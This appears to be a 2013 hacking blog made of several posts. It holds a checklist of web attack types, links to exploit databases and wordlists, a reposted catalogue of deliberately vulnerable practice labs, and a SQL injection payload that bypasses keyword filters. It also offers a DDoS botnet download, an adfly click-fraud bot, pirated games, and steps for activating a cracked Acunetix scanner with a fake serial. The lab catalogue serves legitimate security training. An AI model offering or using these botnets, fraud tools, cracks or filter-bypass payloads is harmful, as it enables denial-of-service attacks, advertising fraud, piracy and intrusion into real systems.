The Grand Gamer

All Web Application Hacking Methods

2013-05-30T05:54:00.002-07:00

Parameter manipulation

* Arbitary File Deletion

* Code Execution

* Cookie Manipulation ( meta http-equiv & crlf injection )

* CRLF Injection ( HTTP response splitting )

* Cross Frame Scripting ( XFS )

* Cross-Site Scripting ( XSS )

* Directory traversal

* Email Injection

* File inclusion

* Full path disclosure

* LDAP Injection

* PHP code injection

* PHP curl_exec() url is controlled by user

* PHP invalid data type error message

* PHP preg_replace used on user input

* PHP unserialize() used on user input

* Remote XSL inclusion

* Script source code disclosure

* Server-Side Includes (SSI) Injection

* SQL injection

* URL redirection

* XPath Injection vulnerability

* EXIF

*Buffer Overflows

Buffer Overflows and IDS Basic Review - Keeper

*Clickjacking

*Dangling Pointers

*Format String Attack

*FTP Bounce Attack

*Symlinking

This list below fits in category MultiRequest parameter manipulation

* Blind SQL injection (timing)

* Blind SQL/XPath injection (many types)

Blind based SQL Injection with SQL map - insecure5082

This list below fits in category File checks

* 8.3 DOS filename source code disclosure

* Search for Backup files

* Cross Site Scripting in URI

* PHP super-globals-overwrite

* Script errors ( such as the Microsoft IIS Cookie Variable Information Disclosure )

This list below fits in category Directory checks

* Cross Site Scripting in path

* Cross Site Scripting in Referer

* Directory permissions ( mostly for IIS )

* HTTP Verb Tampering ( HTTP Verb POST & HTTP Verb WVS )

* Possible sensitive files

* Session fixation ( jsessionid & PHPSESSID session fixation )

* Vulnerabilities ( e.g. Apache Tomcat Directory Traversal, ASP.NET error message etc )

* WebDAV ( very vulnerable component of IIS servers )

* DNN (Dot Net Nuke)

[*]Complete DNN (Dot Net Nuke) - numan_malik999

This list below fits in category Text Search Disclosure

* Application error message

* Check for common files

* Directory Listing

* Email address found

* Local path disclosure

* Possible sensitive files

* Microsoft Office possible sensitive information

* Possible internal IP address disclosure

* Possible server path disclosure ( Unix and Windows )

* Possible username or password disclosure

* Sensitive data not encrypted

* Source code disclosure

* Trojan shell ( r57,c99,crystal shell etc )

* ( IF ANY )Wordpress database credentials disclosure

This list below fits in category File Uploads

* Unrestricted File Upload

This list below fits in category Authentication

* Microsoft IIS WebDAV Authentication Bypass

* SQL injection in the authentication header

* Weak Password

* GHDB - Google hacking database ( using dorks to find what google crawlers have found like passwords etc )

This list below fits in category Web Services - Parameter manipulation & with multirequest

* Application Error Message ( testing with empty, NULL, negative, big hex etc )

* Code Execution

* SQL Injection

* XPath Injection

* Blind SQL/XPath injection ( test for numeric,string,number inputs etc )

* Stored Cross-Site Scripting ( XSS )

* Cross-Site Request Forgery ( CSRF )

From hackcommunity.cpm

Brute Force Attacks: Wordlists

2013-05-27T08:06:00.003-07:00

Here you can find cool wordlists for your brute force attack!

http://www.skullsecurity.org/wiki/index.php/Passwords

Best exploit Databases.

2013-05-05T08:13:00.000-07:00

Here are some of the best exploit databases:
http://www.metasploit.com/modules/

http://www.exploit-db.com/

http://osvdb.org/

http://securityvulns.com/

http://packetstormsecurity.com/files/tags/exploit/

http://www.securityfocus.com/

http://www.securiteam.com/

http://www.1337day.com/

http://secunia.com/advisories/

http://insecure.org/sploits_all.html

http://www.exploitsearch.net/

Vulnerable by Design

2013-04-29T05:07:00.000-07:00

THIS IS AN ARTICLE FROM GOTM1LKhttp://blog.g0tmi1k.com/2011/03/vulnerable-by-design.html

Vulnerable by Design

Pentest lab. "Hacker" training. Deliberately insecure applications challenge thingys.

Call it what you will, but what happens when you want to try out your new set of skills? Do you want to be compare results from a tool when it's used in different environments? What if you want to explore a system (that is legal to do so!) that you have no knowledge about (because you didn't set it up!)...

If any of that sounds helpful, below is a small collection of different environments, so if you want to go from "boot to root", "capture the flag" or just to dig around as much as you want to try out the odd thing here and there. These will allow you to do so and without getting in trouble for doing it!

The idea isn't to cheat, the aim is to learn a thing or two ;)

I'm sure there are a lot more out there, if you want to recommend any others - please so do! =)

'Complete' Operating System. The idea of going from boot to root via any which way you can. Most of them have multiple entry points (some are easier than others) so you can keep using it ;) They are all Linux OS (either in ISO or VM form) with vulnerable/configured software installed. (If you haven't got any VM software, VMware Player is free and will do the trick)

(Offline) Web based. Most of them you'll need to download, copy and load the files yourself on your own web server (if you haven't already got one, xampp is great). A few of them are VM images that can be loaded in to Virtual machines as they come with all the software & settings needed.

(Online) Web based. Same as above, however if you don't want the hassle of setting it all up or to be able to do it where ever you have a Internet connection...

War Games (VPN). These are computer break-in challenge, were you try and compete against other users. They are usually 'ranked' in which you collect points, over multiple levels to make your way onto a 'Hall Of Fame' (Top 10,25,50 or 100 Users). This all takes part on a separate private network, where you have to connect into it each time.

War Games (Web Based). Same as above, however if you don't want the hassle of connecting every time you can compete using a web browse.

Forensic. The idea is to analysis event(s) to see if you can understand what either has been going or or happening currently. Some are complete disk images with scenarios, whereas some are 'single' exercises (e.g. 'Data Carving', 'Memory Dump Analysis' or 'Reserve Engineering').

Mobile Platforms. The same idea the subjects above, however these programs are designed for mobile use on smart phones. The increase of mobile phone usage is on the rise, along with smart phones. As more and more programs are being created for this platform, this makes the possibly of more 'poorly' coded programs and/or higher change of malware. These programs are meant to defend against these program 'defects'.

Capture The Flag Competitions. At various events, competitions are run to attack and defend computers and networks. Here is a list of resources which were used.

Other collections & lists. Other lists of different types of 'vulnerable' software

Other useful pages on the 'subject'. 'Helpful' information to look at. Worth a read!

Complete Operating System

Name: Damn Vulnerable Linux

Homepage: http://www.damnvulnerablelinux.org/

Brief description: Damn Vulnerable Linux (DVL) is everything a good Linux distribution isn’t. Its developers have spent hours stuffing it with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks. DVL isn’t built to run on your desktop – it’s a learning tool for security students.

Version/Levels: 1

Support/Walk-through: Brochure

Name: De-ICE

Homepage: http://heorot.net/livecds/ or http://www.de-ice.net

Brief description: The PenTest LiveCDs are the creation of Thomas Wilhelm, who was transferred to a penetration test team at the company he worked for. Needing to learn as much about penetration testing as quickly as possible, Thomas began looking for both tools and targets. He found a number of tools, but no usable targets to practice against. Eventually, in an attempt to narrow the learning gap, Thomas created PenTest scenarios using LiveCDs.

Version/Levels: Level 1 - Disk 1, Level 1 - Disk 2, Level 1 - Disk 3 (A & B) Level 2 - Disk 1

Support/Walk-through: Forums, Wiki, Level 1 - Disk 1, Level 1 - Disk 2, Level 1 - Disk 3, Level 2 - Disk 1

Name: Hackademic

Homepage: http://ghostinthelab.wordpress.com/

Brief description: Download the target and get root.After all, try to read the contents of the file “key.txt” in the root directory.

Version/Levels: 2 (Box 1, Box 2)

Support/Walk-through: N/A

Name: Holynix

Homepage: http://pynstrom.net/holynix.php

Brief description: Holynix is a Linux distribution that was deliberately built to have security holes for the purposes of penetration testing.

Version/Levels: 2

Support/Walk-through: Forum, SourceForge

Name: Kioptrix

Homepage: http://www.kioptrix.com

Brief description: This Kioptrix VM Image are easy challenges. The object of the game is to acquire

root access via any means possible (except actually hacking the VM server or player).
The purpose of these games are to learn the basic tools and techniques in vulnerability

assessment and exploitation. There are more ways then one to successfully complete the challenges.

Version/Levels: 3

Support/Walk-through: Blog, Level 1 - mod_ssl, Level 2 - Injection, Level 3

Name: Metasploitable

Homepage: http://blog.metasploit.com/2010/05/introducing-metasploitable.html

Brief description: One of the questions that we often hear is "What systems can i use to test against?" Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

Version/Levels: 1

Support/Walk-through: Blog, DistCC, MySQL, PostgreSQL, TikiWiki, TomCat

Name: NcN 2011

Homepage: http://noconname.org

Brief description: This machine has several users, one for each level, so that exploiting the various challenges pose the participant will be changing and increasing user privileges.

Version/Levels: 6 levels

Support/Walk-through: Download (Mirror), Rules

Name: NETinVM

Homepage: http://informatica.uv.es/~carlos/docencia/netinvm/#id7

Brief description: NETinVM is a single VMware virtual machine image that contains, ready to run, a series ofUser-mode Linux (UML) virtual machines which, when started, conform a whole computer network inside theVMware virtual machine. Hence the name NETinVM, an acronym for NETwork in Virtual Machine. NETinVM has been conceived mainly as an educational tool for teaching and learning about operating systems, computer networks and system and network security, but other uses are certainly possible.

Version/Levels: 3 (2010-12-01)

Support/Walk-through: Blog

Name: pWnOS

Homepage: http://forums.heorot.net/viewtopic.php?f=21&t=149

Brief description: It's a linux virtual machine intentionally configured with exploitable services to provide you with a path to r00t. :) Currently, the virtual machine NIC is configured in bridged networking, so it will obtain a normal IP address on the network you are connected to. You can easily change this to NAT or Host Only if you desire. A quick ping sweep will show the IP address of the virtual machine.

Version/Levels: 1

Support/Walk-through: Forums, Level 1

Name: RuCTFE 2010

Homepage: http://ructf.org/e/2010/

Brief description: RuCTFE is a remote challenge in information security

Version/Levels: 1

Support/Walk-through: Network Setup

(File)Name: vulnimage.zip

Homepage: http://ds.mathematik.uni-marburg.de/

Brief description: Nameless & No description!!!!

Version/Levels: 1

Support/Walk-through: N/A

(Offline) Web Based

Name: BadStore

Homepage: http://www.badstore.net/

Brief description: Badstore.net is dedicated to helping you understand how hackers prey on Web application vulnerabilities, and to showing you how to reduce your exposure. Our Badstore demonstration software is designed to show you common hacking techniques.

Version/Levels: 1 (v1.2)

Support/Walk-through: PDF

Name: BodgeIT

Homepage: https://code.google.com/p/bodgeit/

Brief description: The BodgeIt Store is a vulnerable web application which is currently aimed at people who are new to pen testing.

Version/Levels: 1 (v1.3.0)

Name: Damn Vulnerable Web App

Homepage: http://www.dvwa.co.uk/

Brief description: Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

Version/Levels: 1 (v1.0.7)

Support/Walk-through: PDF

Name: HackUS HackFest Web CTF

Homepage: http://hackus.org/en/media/training/ & http://www.h3xstream.com/codeView.jspx?key=4001

Brief description: The Hackfest is an annual event held in Quebec city. For each event, a competition is held where participants competed at solving challenges related to security. For the 2010 edition, I got involved in the competition by creating the web portion of the competition.

Version/Levels: 1 (2010)

Support/Walk-through: Blog, Solutionnaire (English)

Name: Hacme

Homepage: http://www.mcafee.com/us/downloads/free-tools/index.aspx

Brief description: Foundstone Hacme Casino™ is a learning platform for secure software development and is targeted at software developers, application penetration testers, software architects, and anyone with an interest in application security.

Version/Levels: 5 (2006)

Support/Walk-through: Bank, Book, Casino, Shipping, Travel

Name: Hackxor

Homepage: http://hackxor.sourceforge.net/cgi-bin/index.pl

Brief description: Hackxor is a webapp hacking game where players must locate and exploit vulnerabilities to progress through the story. Think WebGoat but with a plot and a focus on realism&difficulty. Contains XSS, CSRF, SQLi, ReDoS, DOR, command injection, etc

Version/Levels: 1

Support/Walk-through: Online Version, Cryptic spoiler-free hints

Name: LAMPSecurity

Homepage: http://sourceforge.net/projects/lampsecurity/

Version/Levels: v6 (4x)

Support/Walk-through: SourceForge

Name: Moth

Homepage: http://www.bonsai-sec.com/en/research/moth.php

Brief description: Moth is a VMware image with a set of vulnerable Web Applications and scripts.

Version/Levels: v6

Support/Walk-through: SourceForge

Name: Mutillidae

Homepage: http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

Brief description: Mutillidae: A Deliberately Vulnerable Set Of PHP Scripts That Implement The OWASP Top 10

Version/Levels: v1.5

Support/Walk-through: N/A

Name: OWASP Broken Web Applications Project

Homepage: https://code.google.com/p/owaspbwa/ orhttps://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project

Brief description: This project includes applications from various sources (listed in no particular order).

Intentionally Vulnerable Applications:

OWASP WebGoat version 5.3.x(Java)
OWASP Vicnum version 1.4 (PHP/Perl)
Mutillidae version 1.5 (PHP)
Damn Vulnerable Web Application version 1.07.x (PHP)
Ghost (PHP)
Peruggia version 1.2 (PHP)
OWASP CSRFGuard Test Application version 2.2 (Java)
OWASP AppSensor Demo Application (Java)
Mandiant Struts Forms (Java/Struts)
Simple ASP.NET Forms (ASP.NET/C#)
Simple Form with DOM Cross Site Scripting (HTML/JavaScript)

Old Versions of Real Applications:

WordPress 2.0.0 (PHP, released December 31, 2005, downloaded from www.oldapps.com)
phpBB 2.0.0 (PHP, released April 4, 2002, downloaded from www.oldapps.com)
Yazd version 1.0 (Java, released February 20, 2002)
gtd-php version 0.7 (PHP, released September 30, 2006)
OrangeHRM version 2.4.2 (PHP, released May 7, 2009)
GetBoo version 1.04 (PHP, released April 7, 2008)

Version/Levels: v0.92rc1

Support/Walk-through: N/A

Name: OWASP Hackademic Challenges Project

Homepage: https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project

Brief description: The OWASP Hackademic Challenges Project is an open source project that helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controlable and safe environment.

Version/Levels: 1 (Live Version)

Support/Walk-through: GoogleCode (Download Offline Version)

Name: OWASP Insecure Web App Project

Homepage: https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project

Brief description: InsecureWebApp is a web application that includes common web application vulnerabilities. It is a target for automated and manual penetration testing, source code analysis, vulnerability assessments and threat modeling.

Version/Levels: 1

Support/Walk-through: N/A

Name: OWASP Vicnum

Homepage: http://vicnum.ciphertechs.com/

Brief description: A mirror of deliberately insecure applications and old softwares with known vulnerabilities. Used for proof-of-concept /security training/learning purposes. Available in either virtual images or live iso or standalone formats

Version/Levels: 1.4 (2009)

Support/Walk-through: SourceForge (Download Offline Version)

Name: OWASP WebGoat

Homepage: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

Brief description: WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application.

Version/Levels: 1

Support/Walk-through: User Guide, GoogleCode, SourceForge

Name: PuzzleMall

Homepage: https://code.google.com/p/puzzlemall/

Brief description: PuzzleMall is a vulnerable web application designed for training purposes.It is prone to a variety of different session puzzle exposures, which can be detected and exploited using different session puzzling sequences.

Version/Levels: 1

Support/Walk-through: N/A

Name: SecuriBench

Homepage: http://suif.stanford.edu/~livshits/securibench/

Brief description: Stanford SecuriBench is a set of open source real-life programs to be used as a testing ground for static and dynamic security tools. Release .91a focuses on Web-based applications written in Java

Version/Levels: Normal, Micro

Support/Walk-through: N/A

Name: The ButterFly

Homepage: http://sourceforge.net/projects/thebutterflytmp/

Brief description: The ButterFly project is an educational environment intended to give aninsight into common web application and PHP vulnerabilities. The environment alsoincludes examples demonstrating how such vulnerabilities are mitigated.

Version/Levels: 1

Support/Walk-through: N/A

Name: UltimateLAMP

Homepage: http://ronaldbradford.com/blog/ultimatelamp-2006-05-19/

Brief description: UltimateLAMP is a fully functional environment allowing you to easily try and evaluate a number of LAMP stack software products without requiring any specific setup or configuration of these products. UltimateLAMP runs as a Virtual Machine with VMware Player (FREE). This demonstration package also enables the recording of all user entered information for later reference, indeed you will find a wealth of information already available within a number of the Product Recommendations starting with the supplied Documentation.

Version/Levels: v0.2

Support/Walk-through: Passwords

Name: Virtual Hacking Lab

Homepage: http://virtualhacking.sourceforge.net/

Version/Levels: 1

Support/Walk-through: SourceForge

Name: WackoPicko

Homepage: https://github.com/adamdoupe/WackoPicko

Brief description: WackoPicko is a vulnerable web application used to test web application vulnerability scanners.

Version/Levels: 1

Support/Walk-through: N/A

Name: WAVSEP - Web Application Vulnerability Scanner Evaluation Project

Homepage: https://code.google.com/p/wavsep/

Brief description: A vulnerable web application designed to help assessing the features, quality and accuracy of web application vulnerability scanners.This evaluation platform contains a collection of unique vulnerable web pages that can be used to test the various properties of web application scanners.

Version/Levels: 1

Support/Walk-through: N/A

Name: WebMaven/Buggy Bank

Homepage: http://www.mavensecurity.com/WebMaven/

Brief description: WebMaven (better known as Buggy Bank) was an interactive learning environment for web application security. It emulated various security flaws for the user to find. This enabled users to safely & legally practice web application vulnerability assessment techniques. In addition, users could benchmark their security audit tools to ensure they perform as advertised.

Version/Levels: v1.0.1

Support/Walk-through: Download

Name: Web Security Dojo

Homepage: http://www.mavensecurity.com/web_security_dojo/

Brief description: A free open-source self-contained training environment for Web Application Security penetration testing. Tools + Targets = Dojo

Various web application security testing tools and vulnerable web applications were added to a clean install of Ubuntu v10.04.1, which is patched with the appropriate updates and VM additions for easy use.

Version 1.1 includes an exclusive speed-enhanced version of Burp Suite Free. Special thanks to PortSwigger .

Version/Levels: 1

Support/Walk-through: SourceForge

(Online) Web Based

Name: Biscuit

Homepage: http://heideri.ch/biscuit/

Brief description: Goal: alert(document.cookie) // extract the PHPSESSID, FF3.6 - 4 only!

Version/Levels: 1

Support/Walk-through: N/A

Name: Gruyere / Jarlsberg

Homepage: http://google-gruyere.appspot.com/

Brief description: This codelab shows how web application vulnerabilities can be exploited and how to defend against these attacks. The best way to learn things is by doing, so you'll get a chance to do some real penetration testing, actually exploiting a real application

Version/Levels: 1 (v1.0.7)

Support/Walk-through: PDF Download offline

Name: HackThis

Homepage: http://www.hackthis.co.uk/

Brief description: Welcome to HackThis!!, this site was set up over 2 years ago as a safe place for internet users to learn the art of hacking in a controlled environment, teaching the most common flaws in internet security.

Version/Levels: 32 (40?)

Support/Walk-through: N/A

Name: hACME

Homepage: http://www.hacmegame.org/hacmegame/main/welcome.html

Brief description: hACME game is software security learning game, mainly concerning web applications. The game is intended to help raise awareness and interest in the subject of software security as well as train developers. The purpose of the game is not to train hackers, but to make future software developers aware of how important security is.

Version/Levels: Lots

Support/Walk-through: N/A

Name: Hackxor

Homepage: http://hackxor.sourceforge.net/cgi-bin/index.pl

Version/Levels: 1

Support/Walk-through: Online Version, cryptic spoiler-free hints

Name: OWASP Hackademic Challenges Project

Homepage: https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project

Version/Levels: 1 (Live Version)

Support/Walk-through: GoogleCode (Download Offline Version)

Name: OWASP Vicnum

Homepage: http://vicnum.ciphertechs.com/

Version/Levels: 1.4 (2009)

Support/Walk-through: SourceForge (Download Offline Version)

Name: PCTechTips - pwn3d the login form.

Homepage: http://pctechtips.org/hacker-challenge-pwn3d-the-login-form/

Brief description: I came up with this pwn3d zit3 login form challenge, to kind of expose one of the many web application vulnerabilities; it consists of a login form which authenticates against a mysql backend database to give authorized access to the members only part of the web site (you must become a member first—>”REGISTER”)

Version/Levels: 1

Support/Walk-through: N/A

Name: XSSMe

Homepage: http://xssme.html5sec.org/

Brief description: Find a way to steal document.cookie w/o user interaction

Version/Levels: 1

Support/Walk-through: N/A

Name: XSS Me!

Homepage: http://html5sec.org/xssme.php

Brief description: XSS ME! (vulnerable param: GET['xss'])

Version/Levels: 1

Support/Walk-through: N/A

Name: Can You XSS This?

Homepage: http://canyouxssthis.com/HTMLSanitizer/

Brief description: XSS ME! (vulnerable param: GET['xss'])

Version/Levels: 1

Support/Walk-through: N/A

Name: Test x5s

Homepage: http://www.nottrusted.com/x5s/

Brief description: This will give you a small working example of how to use x5s to find encoding and transformation issues that can lead to XSS vulnerability.

Version/Levels: 1

Support/Walk-through: N/A

Name: XSS Progphp

Homepage: http://xss.progphp.com/

Brief description: This site has a number of XSS problems. See if you can find them all.

Version/Levels: 1

Support/Walk-through: N/A

Name: XSS Quiz

Homepage: http://xss-quiz.int21h.jp

Brief description: XSS it.

Version/Levels: Lots

Support/Walk-through: N/A

WarGames (VPN)

Name: Hacking-Lab

Homepage: http://www.hacking-lab.com/

Brief description: This ist the LiveCD project of Hacking-Lab (www.hacking-lab.com). It gives you OpenVPN access into Hacking-Labs Remote Security Lab. The LiveCD iso image runs very good natively on a host OS, or within a virtual environment (VMware, VirtualBox).

The LiveCD gives you OpenVPN access into Hacking-Lab Remote.You will gain VPN access if both of the two pre-requirements are fulfilled.

Version/Levels: 1 (v5.30)

Support/Walk-through: Download

Name: OverTheWire

Homepage: http://www.overthewire.org/wargames/

Brief description: The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of funfilled games.

Levels: 7

Support/Walk-through: N/A

Name: pwn0

Homepage: https://pwn0.com/home.php

Brief description: Just sign up, connect to the VPN, and start hacking.

Levels:1

Support/Walk-through: N/A

WarGames (Web Based)

Name: HackThisSite

Homepage: http://www.hackthissite.org/

Brief description: Hack This Site is a free, safe and legal training ground for hackers to test and expand their hacking skills. More than just another hacker wargames site, we are a living, breathing community with many active projects in development, with a vast selection of hacking articles and a huge forum where users can discuss hacking, network security, and just about everything. Tune in to the hacker underground and get involved with the project.

Version/Levels: Lots

Support/Walk-through: N/A

Name: Enigma Group - Training Missions

Homepage: http://www.enigmagroup.org/pages/basics/

Brief description: Have you ever wanted to learn how to hack? Are you more of a hands on learner, then one that can learn from just reading out of a book? Are you interested in developing secure code by understanding how a hacker will attack your application? If you answered "yes" to any of these questions, then this site is for you.

Version/Levels: Lots

Support/Walk-through: N/A

Name: HellBoundHackers

Homepage: http://www.hellboundhackers.org/

Brief description: The hands-on approach to computer security.Learn how hackers break in, and how to keep them out.

Levels: Lots

Support/Walk-through: N/A

Name: SmashTheStack

Homepage: http://www.smashthestack.org

Brief description: The Smash the Stack Wargaming Network hosts several Wargames. A Wargame in our context can be described as an ethical hacking environment that supports the simulation of real world software vulnerability theories or concepts and allows for the legal execution of exploitation techniques. Software can be an Operating System, network protocol, or any userland application.

Levels: Lots

Support/Walk-through: N/A

Name: Wechall

Homepage: https://www.wechall.net

Brief description: For the people not familiar with challenge sites, a challenge site is mainly a site focussed on offering computer-related problems. Users can register at such a site and start solving challenges. There exist lots of different challenge types. The most common ones are the following: Cryptographic, Crackit, Steganography, Programming, Logic and Math/Science. The difficulty of these challenges vary as well.

Version/Levels: Lots

Support/Walk-through: N/A

Name: VulnerabilityAssessment

Homepage: http://www.vulnerabilityassessment.co.uk

Brief description: Hopefully a valuable information source for Vulnerability Analysts and Penetration Testers alike.

Version/Levels: Lots

Support/Walk-through: N/A

Name: Net-Force

Homepage: http://net-force.nl

Brief description: N/A

Version/Levels: Lots

Support/Walk-through: N/A

Name: Hack Quest

Homepage: http://hackquest.com

Brief description: This site offers a unique hack challenge especially for beginners and intermediates.

Version/Levels: Lots

Support/Walk-through: N/A

Forensic

Name: Binary-Auditing

Homepage: http://www.binary-auditing.com/

Brief description: Learn the fundamentals of Binary Auditing. Know how HLL mapping works, get more inner file understanding than ever.

Try to solve brain teasing puzzles with our collection of copy protection games. Increasing difficulty and unseen strange tricks.
Learn how to find and analyse software vulnerability. Dig inside Buffer Overflows and learn how exploits can be prevented.

Start to analyse your first viruses and malware the safe way. Learn about simple tricks and how viruses look like using real life examples.

Version/Levels: Lots

Support/Walk-through: N/A

Name: Digital Forensics Tool Testing Images

Homepage: http://dftt.sourceforge.net/

Brief description: To fill the gap between extensive tests from NIST and no public tests, I have been developing small test cases. The following are file system and disk images for testing digital (computer) forensic analysis and acquisition tools.

Version/Levels: 14

Support/Walk-through: N/A

Name: Digital Corpora - DiskImages & Scenarios

Homepage: http://digitalcorpora.org/corpora/disk-images & http://digitalcorpora.org/corpora/scenarios

Brief description: We have many sources of disk images available for use in education and research. The easiest disk images to work with are the NPS Test Disk Images.

Scenarios are collections of multiple disk images, memory dumps, network traffic, and/or data from portable devices.

Version/Levels: 3 + 7

Support/Walk-through: N/A

Name: DFRWS 2011 Forensics Challenge

Homepage: http://www.dfrws.org/2011/challenge/

Brief description: Given the variety and impending ubiquity of Android devices along with the wide range of crimes that can involve these systems as a source of evidence, the DFRWS has created two scenarios for the forensics challenge in 2011.

Version/Levels: 2

Support/Walk-through: N/A

Name: ForensicKB

Homepage: http://www.forensickb.com/search/label/Forensic%20Practical

Brief description: We have many sources of disk images available for use in education and research. The easiest disk images to work with are the NPS Test Disk Images.

Version/Levels: Level 1, Level 2, Level 3, Level 4

Support/Walk-through: Level 1 - Solution

Name: Honeynet Project Challenges

Homepage: https://www.honeynet.org/challenges

Brief description: The purpose of Honeynet Challenges is to take this learning one step farther. Instead of having the Honeynet Project analyze attacks and share their findings, Challenges give the security community the opportunity to analyze these attacks and share their findings. The end results is not only do individuals and organizations learn about threats, but how to learn and analyze them. Even better, individuals can see the write-ups from other individuals, learning new tools and technique for analyzing attacks. Best of all, these attacks are from the wild, real hacks.

Version/Levels: 8

Support/Walk-through: N/A

Name: SecuraLabs Challenge

Homepage: http://www.securabit.com/

Brief description: Part 1 - What is the name of exploit kit being used in this pcap (not the verison, you may include the entire string on that line)?

Part 2 - the decryption key will be the main name of the exploit kit all in lower case without spaces, and without the version or anything else on that line in the file.
Part 3 - Submit a working key and serial.

Version/Levels: Two (One, Two)

Support/Walk-through: N/A

Mobile Platforms

Name: ExploitMe

Homepage: http://labs.securitycompass.com/tools/new-mobile-security-course-and-exploitme-mobile/

Brief description: If your organization is working with mobile applications this course is a fantastic primer on how mobile apps can be hacked, and how your teams can defend against these software defects.

Version/Levels: One

Support/Walk-through: Android, iPhone

Capture The Flag Competitions

Name: CSAW (Cyber Security Awareness Week) CTF

Homepage: http://www.poly.edu/csaw2011

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: N/A

Name: CodeGate 2011

Homepage: http://www.codegate.org/Eng/

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: Write up

Name: Defcon 19

Homepage: https://www.defcon.org

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: N/A

Name: Hacklu

Homepage: http://2011.hack.lu/index.php/Main_Page

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: Write Up

Name: ISEC CTF WarFare

Homepage: http://isec2011.wowhacker.com

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: N/A

Name: Plaid CTF

Homepage: http://www.plaidctf.com

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: Write Ups

Name: RSSIL

Homepage: http://www.rssil.org

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: Write Up

Name: Insomni'hack 2k11

Homepage: https://blog.fortinet.com/insomnihack-2011/

Brief description: N/A

Version/Levels: 2011

Support/Walk-through: N/A

Other collections & lists

Practice Labs at Hacking Cisco - http://packetlife.net/blog/2011/apr/15/practice-labs-hacking-cisco/

Vulnerable Web Applications for learning - https://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/

Pentesting Vulnerable Study Frameworks Complete List - http://www.felipemartins.info/2011/05/pentesting-vulnerable-study-frameworks-complete-list/

RSnake's Vulnerability Lab - http://ha.ckers.org/weird/

Pentest lab vulnerable servers-applications list - http://bailey.st/blog/2010/09/14/pentest-lab-vulnerable-servers-applications-list/

Other useful pages on the 'subject'

Blindly Installing VMs and Using Live CDs - http://www.digininja.org/blog/untrusted_vms.php

How to set up a penetration testing lab - http://www.metasploit.com/learn-more/how-do-i-use-it/test-lab.jsp

Run your LiveCD directly on Windows - http://mobalivecd.mobatek.net/en/

Capture The Flag Daemon - http://sourceforge.net/projects/ctfd/

Sql Injection : Filter Bypassing

2013-04-11T07:38:00.002-07:00

Filter Bypassing

        Generally while doing sql injection, some sql keywords are used like union, select, from etc...the administrator filters these keywords so as to block such requests but it still becomes possible for an attacker to bypass these kind of filters

Example:
the attacker attacks like this,
  index.php?id=1 union all select 1,2,3--n site gives response 406 not acceptable so by using tricks like this
    index.php?id=1 /*!union*/ /*!all*/ *!select*/ 1,2,3-- the attacker bypasses the security there are many ways to bypass this , it depends on how strongly the administrator has created the filter.

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

2013-04-10T08:15:00.002-07:00

Here I have found a tool which helps you to detect XSS and exploit it.

Its very useful!

READ THE PAPER 1st

Here is a good TUTORIAL

PAPER : http://www.exploit-db.com/wp-content/themes/exploit/docs/21223.pdf

Dowload Tool :https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework#Download

Hope you like ;-)

Adfly Bot

2013-02-23T07:25:00.001-08:00

Here is an adfly bot!

Features:

Multi-threading support.
Multiple Proxy list support in the format of IP:PORT
Custom wait time.
Visit Preview.
Optional Loop.
Clean Error logs.
Drag & Drop support.

Get paid to share your links! If you do not have an account press the banner to 1make one!

! VIRUS SCAN !
https://www.virustotal.com/en/file/9837bf883064ae3b253b55585688953b19ce0a90bee388147297a767a3f9ea36/analysis/

IF YOU LIKE THE PROGRAM LEAVE A ! COMMENT !

Download the program by pressing the !picture!

Call Of Duty 2

2013-02-17T05:29:00.000-08:00

The call of duty 2 NOW with easy installation (run the .exe file and u are ok) and MULTIPLAYER servers!
Minimum System Requirements

3D hardware accelerator card required - 100% DirectX 9.0c compatible 64MB hardware accelerator video card and the latest drivers*
English version of Microsoft Windows 2000/XP/7
Pentium IV 1.4GHz or AMD Athlon XP 1700+ processor or higher
256MB RAM (512MB RAM recommended)
100% DirectX 9.0c compatible 16-bit sound card and latest drivers
100% Windows 2000/XP/7 compatible mouse, keyboard and latest drivers
4.0GB of uncompressed free hard disk space (plus 600MB for Windows 2000/XP swap file)
8x speed CD-ROM or 2x DVD-ROM drive

Download the game by pressing the picture below

Left 4 Dead

2013-02-15T12:26:00.001-08:00

System Requirements

OS: Windows Vista, XP or 2000
CPU: 3.0 GHz P4, Dual Core 2.0 or AMD64X2 (or higher)
RAM: 1 GB for XP / 2GB for Vista
Disc drive: DVD-ROM Drive
Hard drive: At least 7.5 GB of free space
Video: Direct X 9 compatible video card (Video card must be 256 MB or more and should be a DirectX 9-compatible with support for pixel shader 2.0)
Sound: Direct X9.0c compatible sound card

Download the game by PRESSING the picture below !

Acunetix 8 Cracked

2013-02-10T05:10:00.002-08:00

I have found this vulnerability scanner cracked ! You can download it for free of course from HERE

HOW TO INSTALL. INSTRUCTIONS !

The only thing that you have to do is to replace the files activation and wvs in the acunetix path. After that run acunetix and put a serial ex. 2-2-2-2-2-2-2-2-2-2 and complete the form !

OpenVAS

2013-02-10T04:58:00.000-08:00

Download this open source vulnerability scanner from HERE!

Warbot

2013-02-09T04:51:00.002-08:00

Tutorial:

Download the bot from HERE

Simple DDos 0.2 Botnet

2013-02-08T11:16:00.001-08:00

Download Simple DDos 0.2 Botnet from HERE

